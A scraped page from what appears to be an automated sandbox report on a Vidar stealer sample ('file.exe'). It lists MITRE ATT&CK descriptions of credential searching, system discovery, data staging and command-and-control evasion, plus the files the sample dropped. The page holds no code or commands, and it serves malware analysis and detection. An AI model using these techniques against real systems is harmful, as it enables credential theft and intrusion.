Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Vidar

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\00440746450577075373182215

C:\ProgramData\05817041688375942296226764

C:\ProgramData\22428703343438507335441715

C:\ProgramData\22428703343438507335441715-shm

C:\ProgramData\30562671907380543272507388

C:\ProgramData\35746121865178509047716708

C:\ProgramData\37707990510604932654966133

C:\ProgramData\38345013959471306846242542

C:\ProgramData\41854390081158473842695081

C:\ProgramData\52766014303501464703169876

C:\ProgramData\59242670612831660624168672

C:\ProgramData\60379239670748708072323449

C:\ProgramData\77364074545019038892817732

C:\ProgramData\77364074545019038892817732-shm

Windows Analysis Report
file.exe

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre